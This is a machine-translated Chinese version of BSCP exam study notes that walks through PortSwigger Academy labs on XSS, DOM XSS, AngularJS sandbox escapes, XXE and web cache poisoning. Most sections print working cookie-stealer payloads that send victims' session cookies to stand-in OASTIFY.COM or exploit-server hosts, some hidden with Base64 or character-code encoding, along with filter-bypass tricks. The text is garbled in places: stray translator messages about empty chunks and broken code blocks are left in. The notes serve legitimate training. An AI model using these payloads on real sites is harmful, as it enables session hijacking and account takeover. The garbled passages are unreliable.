PortSwigger Academy 实验的实用学习笔记与演练,涵盖 Web 漏洞、payload、枚举及 BSCP 考试策略。
这是我的学习笔记,涵盖了超过 110 个 PortSwigger Academy 实验室。 我使用这些实验室通过了 2023 年 Burp Suite 认证从业者 考试。 我的 BSCP 认证。
更多信息请访问 PortSwigger Academy 获取最新学习资料。
立足点 - 阶段 1
内容发现
DOM-XSS
XSS 跨站脚本
Web 缓存投毒
主机头
HTTP 请求走私
暴力破解
身份认证
权限提升 - 阶段 2
CSRF - 账户接管
密码重置
SQLi - SQL 注入
JWT - JSON Web 令牌
原型污染
API 测试
访问控制
GraphQL API 端点
CORS - 跨源资源共享
数据外泄 - 阶段 3
XXE - XML 实体与注入
SSRF - 服务端请求伪造
SSTI - 服务端模板注入
SSPP - 服务端原型污染
LFI - 文件路径遍历
文件上传
反序列化
OS 命令注入
附录
Python 脚本
Payloads
字典列表
聚焦目标扫描
方法论
额外培训内容
我建议在参加考试前尽可能多地完成 Mystery lab challenge,以检验你的技能并缩短 识别 漏洞所需的时间。
我还发现 PortSwigger 关于 重新参加考试 的建议非常有帮助。
观看 CryptoCat - Burp Suite 认证专家 (BSCP) 评测 + 技巧与诀窍,了解 2024 年 BSCP 考试的全新视角。
感谢您的 咖啡 支持,
\o/
在时间有限的参与任务中,Web 应用程序的枚举从初始扫描和定向扫描开始。
由于参与任务或考试期间时间非常有限,请针对特定请求扫描已定义的插入点。

扫描器在 storeId 参数上检测到 XML 注入 漏洞,并据此读取到了 Carlos 的秘密文件。```xml <xi:include parse="text" href="file:///home/carlos/secret"/>
>带外 XInclude 请求,需要托管的 DTD 来读取本地文件。```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>
使用 Burp 功能扫描非标准数据结构,以在所选插入点扫描响应或请求中的选定文本。

通过 Burp 扫描器问题结果识别漏洞。
在本例中,使用已识别的 XSS,通过在 已识别 的插入点构造载荷来窃取管理员用户的 cookie。``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART
>对关键字符进行URL编码。

>使用管理员的cookie,通过替换当前浏览器会话中的cookie来访问管理面板。
[PortSwigger Lab: Scanning non-standard data structures](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)
-----
# 立足点
# 内容发现
>对目标进行枚举时,首先对Web目录和文件进行模糊测试。可以使用Burp的参与工具、内容发现选项来查找隐藏路径和文件,或者使用`FFUF`枚举Web目录和文件。查看`robots.txt`或`sitemap.xml`可能会暴露内容。```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt
ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ
Burp 参与工具,内容发现,使用我编译的单词列表 burp-labs-wordlist 作为自定义文件列表。

检查本地下载副本上的 git 仓库分支,使用
git-cola工具。然后选择 撤销上次提交 并从 diff 窗口中提取管理员密码。``` wget -r https://TARGET.web-security-academy.net/.git/
git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

[PortSwigger 实验室:版本控制历史中的信息泄露](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)
>始终打开 `source code` 以查找任何可能暴露隐藏文件或路径的开发者注释。下面的示例引向 [symphony 令牌反序列化](#deserialization)。

-----
## 基于 DOM 的 XSS
[DOM XSS 指标](#identify-dom-xss)
[使用 DOM Invader 识别 DOM XSS](#dom-invader)
[AngularJS 中的 DOM XSS](#vuln-angularjs)
[DOM XSS 在 select 中的 document.write](#doc-write-location-search)
[DOM XSS JSON.parse Web 消息](#dom-xss-jsonparse-web-messages)
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)
[DOM XSS AddEventListener Ads 消息](#dom-xss-addeventlistener-ads-message)
[DOM XSS Eval 反射型 Cookie 窃取器](#reflected-dom-xss)
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)
### 识别 DOM-XSS
>当 JavaScript 从攻击者可控的源(如 URL)获取数据,并将代码传递给支持动态代码执行的接收器(sink)时,就会产生基于 DOM 的 XSS 漏洞。
>使用下面的模糊测试字符串,测试哪些字符能从 `source code` 注入点中逃逸出去。```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer
审查
source code以 识别 可能导致漏洞利用的 来源、汇点或方法,示例列表:
使用 Dom Invader 插件并将 canary 设置为某个值(例如
domxss),它将检测可被利用的 DOM-XSS 汇点。

当尖括号和双引号被 HTML 编码时,下面的 AngularJS 表达式可以注入到搜索功能中。该漏洞可通过注意到搜索字符串被包裹在 ng-app 指令中并包含
/js/angular 1-7-7.js脚本来 识别。审查 HTML 代码以 识别ng-app指令,该指令告诉 AngularJS 这是 AngularJS 应用程序的根元素。

PortSwigger 实验 payload 如下:```JavaScript {{$on.constructor('alert(1)')()}}
>[Cookie 窃取 payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) 使用 `on.constructor`,可放置在 iframe 中,托管在漏洞利用服务器上,导致受害者的会话 cookie 被发送到 Burp Collaborator。
>[PortSwigger 跨站脚本参考速查表](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}
注意: 会话 Cookie 属性不能设置 HttpOnly 安全标志,XSS 才能成功。

PortSwigger 实验:AngularJS 表达式中的 DOM XSS(尖括号和双引号被 HTML 编码)
z3nsh3ll 在 YouTube 上针对该实验中的 constructor 漏洞提供了极其详细的理解
目标在库存检查功能中容易受到 DOM-XSS 攻击。
源代码显示document.write是与location.search一起使用的 sink,允许我们添加 storeId 查询参数,其值在<select>语句中包含 JavaScript 载荷。

使用以下载荷执行测试,以 识别 注入到修改后的 GET 请求中的内容,使用
">进行转义。```html /product?productId=1&storeId=fuzzer">fuzzer

>DOM XSS [窃取 cookie 的 payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) 位于 `document.write` 接收器中,使用 `location.search` 作为源,并处于 `<select>` 元素内部。这可以通过漏洞利用服务器中的 `

在 iframe onload 值的末尾有一个 "*",这表示目标可以是任意值。
使用浏览器开发者工具控制台在浏览器中设置一个不安全的测试 Cookie,用于 POC XSS 测试期间使用。
Cookie 窃取器 payload。```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

[PortSwigger 实验:使用 Web 消息和 JSON.parse 的 DOM XSS](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)
>使用 DOM Invader 识别和测试利用 Web 消息的 DOM XSS

>修改 JSON 数据后,使用 DOM Invader 重放 post 消息。```JSON
{
"type": "load-channel",
"url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

PortSwigger:使用 PortSwigger DOM Invader 识别 DOM XSS
查看页面
源代码,我们识别出用于 web message 的addeventlistener调用,但有一个if条件检查字符串是否包含http/s。

下面托管在 exploit server 上的 payload 包含
https字符串,并成功绕过了if条件检查。```html

一旦受害者的 cookie 被更新,Exploit 服务器日志就会捕获其秘密 cookie 值。
>在 ***ShehmeerAbidRajput*** 的大力帮助下,我使用他提供的 cookie 窃取器 payload 更新了这个实验室。
[PortSwigger 实验室:基于 DOM 的 cookie 操作](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)
-----
## 跨站脚本(XSS)
[XSS 资源](#xss-resources)
[识别允许的标签](#identify-allowed-tags)
[绕过被阻止的标签](#bypass-blocked-tags)
[XSS 协议赋值](#xss-assign-protocol)
[未被阻止的自定义标签](#custom-tags-not-blocked)
[OnHashChange](#onhashchange)
[反射型字符串 XSS](#reflected-string-xss)
[反射型字符串额外转义](#reflected-string-extra-escape)
[AngularJS 沙箱逃逸](#angularjs-sandbox-escape)
[XSS 模板字面量](#xss-template-literal)
[通过 JSON 注入 EVAL 的 XSS](#xss-via-json-into-eval)
[存储型 XSS](#stored-xss)
[存储型 DOM XSS](#stored-dom-xss)
[SVG 上传中的 XSS](#xss-svg-upload)
### XSS 资源
>XSS 资源页面,用于查找 **标签** 和 **事件** 的 payload。
+ [跨站脚本(XSS)速查表](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [HackTheBox CPTS 的 XSS 学习笔记](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)
>CSP Evaluator 工具用于检查是否已部署内容安全策略以缓解 XSS 攻击。例如,如果缺少 `base-uri`,该漏洞将允许攻击者使用 [升级存储型 self-XSS](#upgrade-stored-self-xss) 中描述的替代利用方法。
+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)
>当输入字段最大长度仅为 23 个字符时,请使用此资源获取 **Tiny XSS Payloads**。
+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)
>使用浏览器开发者工具控制台在浏览器中设置一个不安全的测试 cookie,以便在 POC XSS 测试期间使用 [cookie 窃取器 payloads](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md)。```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";
基础 XSS Payload,用于 识别 应用程序安全过滤控件如何处理 HTTP 请求中接收的数据。```html
The input chunk is empty — no content was provided to translate.```html
"><svg><animatetransform onbegin=alert(1)>
I'm unable to translate this chunk because the Markdown content after "INPUT:" is empty—there is no source text provided to translate. Please supply the actual content for chunk 43 of 303, and I'll translate it into Chinese following all the formatting rules.``` <>'"
>提交上述载荷可能会收到响应消息,***"Tag is not allowed"***,这是因为 Web 应用防火墙 (WAF) 阻止了注入。
>然后使用 [PortSwigger Academy Methodology](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked) ***识别***允许的标签。
>URL 和 Base64 在线编码器与解码器
+ [URL 解码和编码](https://www.urldecoder.org/)
+ [BASE64 解码和编码](https://www.base64encode.org/)
>该实验室提供了极佳的**方法论**,用于***识别***允许的 HTML 标签和事件,以构造 POC XSS。
>在漏洞利用服务器上托管 **iframe** 代码,并将漏洞利用链接发送给受害者。```html
在插入基本 XSS 载荷时,应用程序控制会给出消息 "不允许使用该标签",但使用上述 方法 发现 SVG 标记被允许。此载荷会窃取我自己的会话 Cookie 作为 POC。```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E
>将上述 payload 放置在漏洞利用服务器上,并在传递给受害者之前,按下方代码块所示,将带有搜索值的 URL 插入到 ```iframe``` 中。```html

PortSwigger 实验室:允许某些 SVG 标记的反射型 XSS
#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html实验室用于测试在搜索功能中没有任何编码的 HTML 上下文中的 XSS。使用此实验室来测试带 location 的可分配协议
javascript漏洞,该漏洞由 PortSwigger XSS 研究 识别。在载荷中,%0a表示 ASCII 换行字符。```html

[PortSwigger 实验室:反射型 XSS 到 HTML 上下文且无任何编码](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)
### 自定义标签未被阻止
>应用程序在尝试插入 XSS payload 时会响应消息 ***"Tag is not allowed"***,但如果创建自定义标签,它就会被绕过。```html
<xss+id=x>#x';
通过观察响应,识别上述自定义标签是否未被搜索功能阻止。创建以下payload以带外窃取会话Cookie。```
>**注意:** 带有 ```x``` ID 的自定义标签包含一个 **onfocus** 事件处理程序,该处理程序触发 ```document.location``` 函数。URL 末尾的 **井号** `#` 字符会在页面加载后立即聚焦该元素,从而调用载荷。将载荷脚本托管在利用服务器上的 ```script``` 标签中,然后发送给受害者。以下是相同的载荷,但采用 **URL 编码** 格式。```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

PortSwigger 实验室:在 HTML 上下文中反射型 XSS,除自定义标签外所有标准标签均被阻止
下面的 iframe 使用 URL 末尾的 HASH
#字符来触发 OnHashChange XSS cookie 窃取器。```JavaScript
>注意,如果 cookie 设置了 **HttpOnly** 标志,则无法使用 XSS 窃取该 cookie。
>PortSwigger Lab 的 payload 执行 print 操作。```JavaScript
注意:识别包含在
source code中的易受攻击的 jquery 1.8.2 版本,使用 CSS 选择器操作在 hashchange 事件中。

PortSwigger 实验室:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS
Crypto-Cat:使用 hashchange 事件的 jQuery 选择器接收器中的 DOM XSS
提交搜索字符串并查看搜索结果页面的
source code,JavaScript 字符串变量被识别为在source code中反映搜索字符串tracker.gif,该变量名为searchTerms。```html
使用载荷
test'payload,并观察到单引号会被反斜杠转义,从而防止逃逸出字符串。```JavaScript
>将payload更改为cookie窃取器,用于将会话令牌传递到Burp Collaborator。```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

当将此 payload 放入
iframe时,目标应用程序不允许其被嵌入,并给出消息:refused to connect。
PortSwigger 实验:反射型 XSS 到 JavaScript 字符串(单引号和反斜杠转义)
在 BSCP 考试中,将下面的 payload 托管在 exploit server 的
<script>标签内;下面的搜索查询是 URL 编码之前的。```
>利用服务器托管搜索词反射型漏洞,将其发送给受害者以获取其会话Cookie。```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>
The application gave error message
Tag is not allowed,并通过使用</ScRiPt >绕过了这一点。
在
source code中查看名为searchTerms的变量,当提交 payloadfuzzer'payload时,可以看到单引号被反斜杠转义;然后发送一个fuzzer\payloadpayload,并 确认 反斜杠未被转义。``` '-alert(1)//
fuzzer';console.log(12345);//
fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//
>使用单个**反斜杠**、单引号和**分号**,我们逃逸出 JavaScript 字符串变量,然后使用反引号将 ```document.location``` 路径括起来,使 cookie 窃取器能够绕过应用程序保护。```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//
在 Trevor 的帮助下,我利用反引号将其制成了 Cookie 窃取 payload。感谢 Trevor,这是他 YouTube 的逐步讲解视频:XSS JavaScript 字符串尖括号双引号编码单引号

PortSwigger 实验:将反射型 XSS 注入 JavaScript 字符串,其中尖括号和双引号经过 HTML 编码,且单引号被转义
PortSwigger 专家级实验,使用 AngularJS 1.4.4 和 1.x 版本,该版本已到达生命周期终点,不再维护。
该实验以一种不寻常的方式使用 AngularJS,其中$eval函数不可用,并且你将无法在 AngularJS 中使用任何字符串。
目标:执行一次跨站脚本攻击,在不使用$eval函数的情况下逃逸沙箱并执行 payload。
z3nsh3ll - YouTube 视频,对不使用字符串的 AngularJS 沙箱逃逸反射型 XSS 给出了很好的解释
识别 JavaScript 源代码中的
angular.module:

key变量的值search被注入到动态创建的 JavaScript 中。
这里没有明显的安全问题。然而,此代码的安全性取决于该控制器和提取出的值在后端如何使用。
$parse方法会计算 AngularJS 表达式$scope.query。
使用
&添加第二个键值对,以测试生成的动态 payload 代码。

将第二个添加的键值名称改为表达式,以判断是否会被求值,
/?search=key1value&7*7=payload,数学结果为 49。

当使用
alert()作为第二个键名时,构造 payload 会失败,原因在于 AngularJS 通过解析器编译代码的方式。
PortSwigger 速查表参考:沙箱 1.4.4 逃逸``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1
>Collaborator payload ***cookie 窃取器***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)
上述有效载荷字符串中每个字符的ASCII十进制值,以逗号分隔。每个数字代表有效载荷字符串中对应字符的ASCII十进制值。``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41
>Python脚本,可将任意payload转换为ASCIII十进制值:```python
import sys
print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
print("Usage: Python ascii_converter.py 'Payload_String'")
sys.exit(1)
input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]
output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

以 ASCII 十进制值编码的 Cookie 窃取器 Payload,通过沙箱运行的 AngularJS 表达式,来自 PortSwigger 解决方案步骤:
toString() 无需使用引号即可创建字符串。charAt 函数。orderBy 过滤器。toString() 创建字符串,并利用 String 构造函数属性来设置过滤器参数。fromCharCode 方法,通过将字符代码转换为 Payload 示例 x=alert(1) 来生成我们的 Payload。charAt 函数已被覆盖,AngularJS 将允许此代码逃逸出 沙箱。
JavaScript 模板字面量由用于包含字符串的反引号 ` 来 识别。在目标代码中,我们 识别 到搜索字符串被反射到模板字面量字符串内部。``` ${alert(document.cookie)}

>感谢 ***Adrián Gyurácz*** 提供了很棒的绕过方法,因为我未能为这个实验室找到一个能够绕过所有过滤器的可用 cookie 窃取器。
>***Adrián Gyurácz*** 找到了以下来自 Portswigger 的研究文章,从而得出了解决方案:
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)
#### 基于上述内容,他的 payload 如下:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}
由于原始实验室会话 Cookie 具有保护标志,他创建了一个测试用虚拟 Cookie 作为概念验证:

在搜索功能中发送有效载荷后,我收到了一个 Cookie 窃取器的命中记录:

我希望其他人觉得他的研究有帮助,并将其收录到我的指南中 Tx。
这个 PortSwigger Practice Exam APP 正在执行搜索功能,DOM Invader 识别了
eval()函数中的汇点。搜索结果被放入 JSON 内容类型中。

测试从
JSON数据中逃逸,并将测试有效载荷"-prompt(321)-"注入 JSON 内容中。

我们尝试使用有效载荷
"-alert(document.cookie)-"获取自己的会话 Cookie 值,但返回的过滤消息显示"Potentially dangerous search term"。
WAF 正在阻止危险的搜索过滤器和标签,然后我们使用 JavaScript 全局变量绕过 WAF 过滤器。```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"
[secjuice: 使用 JavaScript 全局变量绕过 XSS 过滤器](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)
>以下是主要的 [cookie 窃取器 payload](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) 在 BASE 64 编码之前的内容。```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])
接下来是使用上述 Cookie 窃取器 Payload 的 Base64 编码 值来编码 Payload。``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==
>在搜索功能中对我们自己的会话Cookie测试payload。```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
拆解上述载荷组装阶段:
此图显示 Burp Collaborator 在将载荷设置为
Deliver exploit to victim之前,收到了我的 cookie 值作为概念验证。

对载荷中的所有字符进行 URL Encode,并将其用作
/?SearchTerm=参数的值。```html "-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"
>在漏洞利用服务器上托管 `IFRAME` 会给出**错误**消息,提示拒绝连接到目标。相反,应将有效载荷托管在漏洞利用服务器上,放在 `<script>` 标签之间。```html
<script>
location = "https://TARGET.net/?SearchTerm=%22%2d%65%76%61%6c%28%61%74%6f%62%28%22%5a%6d%56%30%59%32%67%6f%59%47%68%30%64%48%42%7a%4f%69%38%76%4e%48%6f%30%59%57%64%6c%4d%48%6c%77%59%6a%56%33%62%32%49%35%63%44%59%78%65%58%42%77%64%54%45%7a%64%6e%55%78%62%48%42%69%5a%44%41%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%30%76%50%32%70%7a%62%32%35%6a%50%57%41%67%4b%79%42%33%61%57%35%6b%62%33%64%62%49%6d%52%76%59%33%56%74%5a%57%35%30%49%6c%31%62%49%6d%4e%76%62%32%74%70%5a%53%4a%64%4b%51%3d%3d%22%29%29%2d%22"
</script>

注意: 如果活动用户未向 collaborator 发送 HTTP 请求,请多次
Deliver exploit to victim。用窃取的 cookie 替换当前 cookie 值,以冒充活动用户,然后继续进入实践考试第 2 阶段。
PortSwigger 实践考试 - 第 1 阶段 - 立足点
存储型 XSS 也可以是盲 XSS。 如果 alert payload 未触发,请参阅 NahamSec 盲 XSS 视频,其中包含供受害者点击的 payload,例如:
<svg/onload=import('//EXPLOIT.net/blind_xss')>
如果存储的输入会重定向点击链接的受害者,则其会向 exploit 服务器发送请求。 使用以下示例代码来识别存储型 XSS。```HTML![]()
>以下日志条目显示了向利用服务器发出的请求,从日志中我们可以***识别***出上述标签的 `/img` 和 `/video` 在应用程序中是被允许的,并且在被访问时会发出请求。

>跨站脚本保存在博客文章评论中。这个 Cookie 窃取器载荷随后会将受害者的会话 Cookie 发送到利用服务器日志。```html
<img src="https://raw.githubusercontent.com/botesjuan/burp-suite-certified-practitioner-exam-study/HEAD/1" onerror="window.location='https://exploit.net/cookie='+document.cookie">
产品和商店查询```html ?productId=1&storeId=">
#### Stored XSS 博客文章
>Stored XSS 博客文章 Cookie 窃取器,将 document cookie 发送到利用服务器。```JavaScript
<script>
document.write('<img src="https://exploit.net?cookieStealer="+document.cookie+'" />');
</script>
以下目标在博客评论功能中存在存储型 XSS 漏洞。窃取查看已发布评论的受害者的用户会话 Cookie,然后利用其 Cookie 进行身份冒充。

博客文章评论中的 Fetch API JavaScript Cookie 窃取器载荷。```JavaScript
>[IPPSEC 使用 HackTheBox Bookworm 的 YouTube 视频](https://youtu.be/UqDdR10F54A?si=nkhilLzyKQcfqtfU&t=1737),展示了 `payload.js` JavaScript 代码,他如何使用 `fetch` 并学习 JavaScript。
[PortSwigger 实验室:利用跨站脚本窃取 Cookie](https://portswigger.net/web-security/cross-site-scripting/exploiting/lab-stealing-cookies)
#### 升级存储型自 XSS
>带有 **存储型自 XSS** 的博客评论,升级负载以从 DOM 窃取受害者信息。**编辑内容** 函数会将输入反映到 `<script>` 标签中。**写评论** 的 CSRF 令牌与 **编辑内容** 函数相同。下面的负载使用 **写评论** 函数,让受害者在其自己的博客上创建包含我们恶意内容的博客条目。
>添加了 `a` 字符,以转义初始应用程序 `source code` 中的 `#` 哈希字符。
>博客条目中的以下 `source code` 是窃取受害者信息的完整利用。```html
<button form=comment-form formaction="/edit" id=share-button>Click Button</button>
<input form=comment-form name=content value='<meta http-equiv="refresh" content="1; URL=/edit" />'>
<input form=comment-form name=tags value='a");alert(document.getElementsByClassName("navbar-brand")[0].innerText)//'>
该目标的利用方式是构造一个 HTML 注入,通过覆盖名为
share_button的变量来实现,参见下面的源代码,并使用上面的 HTML 代码。内容会反映在页面上,然后利用这种反射,借助meta http-equiv标签在 1 秒后刷新页面,将页面重定向到受害者的/edit页面,从而实现重定向。
```
https://challenge-1222.intigriti.io/blog/unique-guid-value-abc123?share=1
>通过向受害者发送引用上述博客条目的 URL 来交付漏洞利用,将触发 XSS。
[intigriti - Self-XSS 升级 - 12月22日 XSS 挑战赛解决方案](https://youtu.be/FowbZ8IlU7o)
>在“编辑内容”博客条目页面中使用 HTML 注入的替代利用方法,***通过*** [XSS 资源 CSP 检查](#xss-resources) ***识别***。```
<base href="https://Exploit.net">
在 Exploit 服务器上托管 JS 文件为
static/js/bootstrap.bundle.min.js,内容为:``` alert(document.getElementsByClassName("navbar-brand")[0].innerText)
>修改后的 PortSwigger 实验室 payload 在下次页面加载时将 `document.location` 函数赋值给变量 `defaultAvatar`,因为该站点使用的 DOMPurify 允许使用 `cid:` 协议,该协议不会对双引号进行 URL 编码。```
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=document.location=`https://OASTIFY.COM/?clobber=`+document.cookie//">
PortSwigger 实验室:利用 DOM clobbering 实现 XSS
在 JavaScript
source code中,包含的脚本resources/js/loadCommentsWithVulnerableEscapeHtml.js中,我们 识别 了自定义loadComments函数内部的html.replace()函数。测试 payload 后,我们看到该函数只替换<>的第一次出现。
```html
<>
>上述有效载荷被存储后,任何访问该评论博客的用户都将导致其会话 Cookie 被窃取并发送到 Collaborator。

>PortSwigger 实验室有效载荷:`<>`。
[PortSwigger 实验室:存储型 DOM XSS](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-stored)
-----
## Web 缓存投毒
[未键控请求头](#unkeyed-header)
[未键控 Utm_content](#unkeyed-utm_content)
[伪装 utm_content](#cloaking-utm_content)
[对歧义请求投毒](#poison-ambiguous-request)
[多请求头缓存投毒](#cache-poison-multiple-headers)
### 未键控请求头
>目标使用 **tracking.js** JavaScript,
>并且容易受到 **```X-Forwarded-Host```** 或 **```X-Host```** 请求头导致的路径重定向攻击,
>从而可以通过缓存投毒窃取 Cookie。
>***识别***响应中的 Web 缓存请求头以及页面源代码中的 tracking.js 脚本。
>通过托管 JavaScript 并注入该请求头来利用该漏洞,对目标的缓存进行投毒,从而将访问的受害者重定向。
```html
X-Forwarded-Host: EXPLOIT.net
X-Host: EXPLOIT.net

托管在漏洞利用服务器上,在请求中注入
X-Forwarded-Host标头,并污染缓存,直到受害者命中被污染的缓存。``` /resources/js/tracking.js

>请求体将会话Cookie发送至协作服务。```javascript
document.location='https://OASTIFY.COM/?cookies='+document.cookie;
通过使用
X-Forwarded-Host请求头重发请求,持续投毒目标的 Web 缓存。

PortSwigger 实验室:使用未键控请求头的 Web 缓存投毒
YouTube 视频展示了上述实验室有效载荷在利用服务器上的运行效果,该载荷经过修改,当受害者命中后端服务器上的缓存条目时,会窃取其 Cookie。该有效载荷即上述 JavaScript。
YouTube:使用未键控请求头的 Web 缓存投毒 - Cookie 窃取器
Param Miner 扩展程序,用于识别 Web 缓存漏洞
目标存在 Web 缓存投毒漏洞,因为它将某个参数从缓存键中排除。Param Miner 的“Guess GET parameters”功能将识别出该参数为 utm_content。
```
GET /?utm_content='/>
>上述载荷会被缓存,受害者在访问目标时其 Cookie 会被发送到 Burp Collaborator。

[PortSwigger 实验:通过未键控查询参数进行 Web 缓存投毒](https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-unkeyed-param)
### 伪装 utm_content
>Param Miner 扩展执行 `Bulk scan > Rails parameter cloaking scan` 会自动 ***识别*** 该漏洞。也可以手动识别:向 `utm_content` 添加 `;` 来追加另一个参数,缓存会将其视为单个参数。这意味着额外的参数也会被排除在缓存键之外。
>每个页面都会调用 `/js/geolocate.js?callback=setCountryCookie` 的 `source code`,并执行回调函数。
>`callback` 参数是键控的,因此无法对受害用户进行缓存投毒,但通过将重复参数与 `utm_content` 结合,它就会被排除,缓存即可被投毒。```
GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=EVILFunction

下面的缓存伪装 Cookie 捕获载荷,持续污染缓存,直到受害者命中存储的缓存。``` GET /js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='%2bdocument.cookie%3b HTTP/2
>以下是 [URL 解码](https://www.urldecoder.org/) 的 payload。```
GET/js/geolocate.js?callback=setCountryCookie&utm_content=fuzzer;callback=document.location='https://OASTIFY.COM?nuts='+document.cookie; HTTP/2
添加带有利用服务器的第二个 Host 标头,这会识别出歧义缓存漏洞并路由你的请求。请注意,第二个 Host 标头中的利用服务器会反映在用于从
/resources/js/tracking.js导入脚本的绝对 URL 中。```html Host: TARGET.net Host: exploit.net
>在漏洞利用服务器上,将文件设置为与目标调用相同的路径 `/resources/js/tracking.js`,该文件将包含 payload。将下面的 JavaScript payload 代码放在此处以执行 Cookie 窃取。```
document.location='https://OASTIFY.COM/?CacheCookies='+document.cookie;

